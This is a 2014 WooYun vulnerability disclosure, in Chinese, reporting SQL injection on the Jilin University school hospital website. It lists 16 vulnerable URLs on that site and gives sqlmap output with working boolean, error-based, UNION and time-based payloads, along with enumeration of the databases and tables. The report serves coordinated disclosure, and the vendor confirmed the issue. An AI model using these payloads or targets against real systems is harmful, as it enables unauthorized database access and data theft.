当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063946

漏洞标题:吉林大学校医院多处SQL注射

相关厂商:jlu.edu.cn

漏洞作者: Hotler0o

提交时间:2014-06-07 18:06

修复时间:2014-07-23 22:06

公开时间:2014-07-23 22:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-09: 厂商已经确认,细节仅向厂商公开
2014-06-19: 细节向核心白帽子及相关领域专家公开
2014-06-29: 细节向普通白帽子公开
2014-07-09: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

吉林大学校医院SQL注射。

详细说明:

http://xyy.jlu.edu.cn/yygk.php?id=562 存在sql注入漏洞
http://xyy.jlu.edu.cn/dwgz.php?id=334 存在sql注入漏洞
http://xyy.jlu.edu.cn/dw.php?id=442 存在sql注入漏洞
http://xyy.jlu.edu.cn/gh.php?bid=177 存在sql注入漏洞
http://xyy.jlu.edu.cn/bjgl.php?id=287 存在sql注入漏洞
http://xyy.jlu.edu.cn/jkjywz.php?id=745 存在sql注入漏洞
http://xyy.jlu.edu.cn/jbkz.php?bid=220 存在sql注入漏洞
http://xyy.jlu.edu.cn/ylgl.php?id=564 存在sql注入漏洞
http://xyy.jlu.edu.cn/ybgl.php?id=584 存在sql注入漏洞
http://xyy.jlu.edu.cn/hlgl.php?id=341 存在sql注入漏洞
http://xyy.jlu.edu.cn/hl_jj.php?id=540 存在sql注入漏洞
http://xyy.jlu.edu.cn/hl_dt.php?bid=232 存在sql注入漏洞
http://xyy.jlu.edu.cn/hl_gjt.php?id=525 存在sql注入漏洞
http://xyy.jlu.edu.cn/yxgl.php?id=405 存在sql注入漏洞
http://xyy.jlu.edu.cn/ypglwz.php?id=438 存在sql注入漏洞
http://xyy.jlu.edu.cn/qxglwz.php?id=743 存在sql注入漏洞
........还有很多 都是参数id存在注入

漏洞证明:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=562 AND 2579=2579
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=562 AND (SELECT 8645 FROM(SELECT COUNT(*),CONCAT(0x7170727a71,(SELECT (CASE WHEN (8645=8645) THEN 1 ELSE 0 END)),0x7174786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: id=562 UNION ALL SELECT CONCAT(0x7170727a71,0x4f6362664e5a55597166,0x7174786a71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=562 AND SLEEP(5)
---
web application technology: Apache
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=562 AND 2579=2579
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=562 AND (SELECT 8645 FROM(SELECT COUNT(*),CONCAT(0x7170727a71,(SELECT (CASE WHEN (8645=8645) THEN 1 ELSE 0 END)),0x7174786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: id=562 UNION ALL SELECT CONCAT(0x7170727a71,0x4f6362664e5a55597166,0x7174786a71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=562 AND SLEEP(5)
---
web application technology: Apache
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] xyy
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=562 AND 2579=2579
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=562 AND (SELECT 8645 FROM(SELECT COUNT(*),CONCAT(0x7170727a71,(SELECT (CASE WHEN (8645=8645) THEN 1 ELSE 0 END)),0x7174786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: id=562 UNION ALL SELECT CONCAT(0x7170727a71,0x4f6362664e5a55597166,0x7174786a71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=562 AND SLEEP(5)
---
web application technology: Apache
back-end DBMS: MySQL 5.0
Database: xyy
[12 tables]
+--------------+
| bbsc_members |
| crb |
| dxc_article |
| dxc_bank |
| dxc_connter |
| dxc_menbers |
| dxc_news |
| dxc_projl |
| dxc_question |
| dxc_sysd |
| dxc_vedio |
| yy |
+--------------+

修复方案:

参数过滤。

版权声明:转载请注明来源 Hotler0o@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-09 10:18

厂商回复:

啊啊

最新状态:

暂无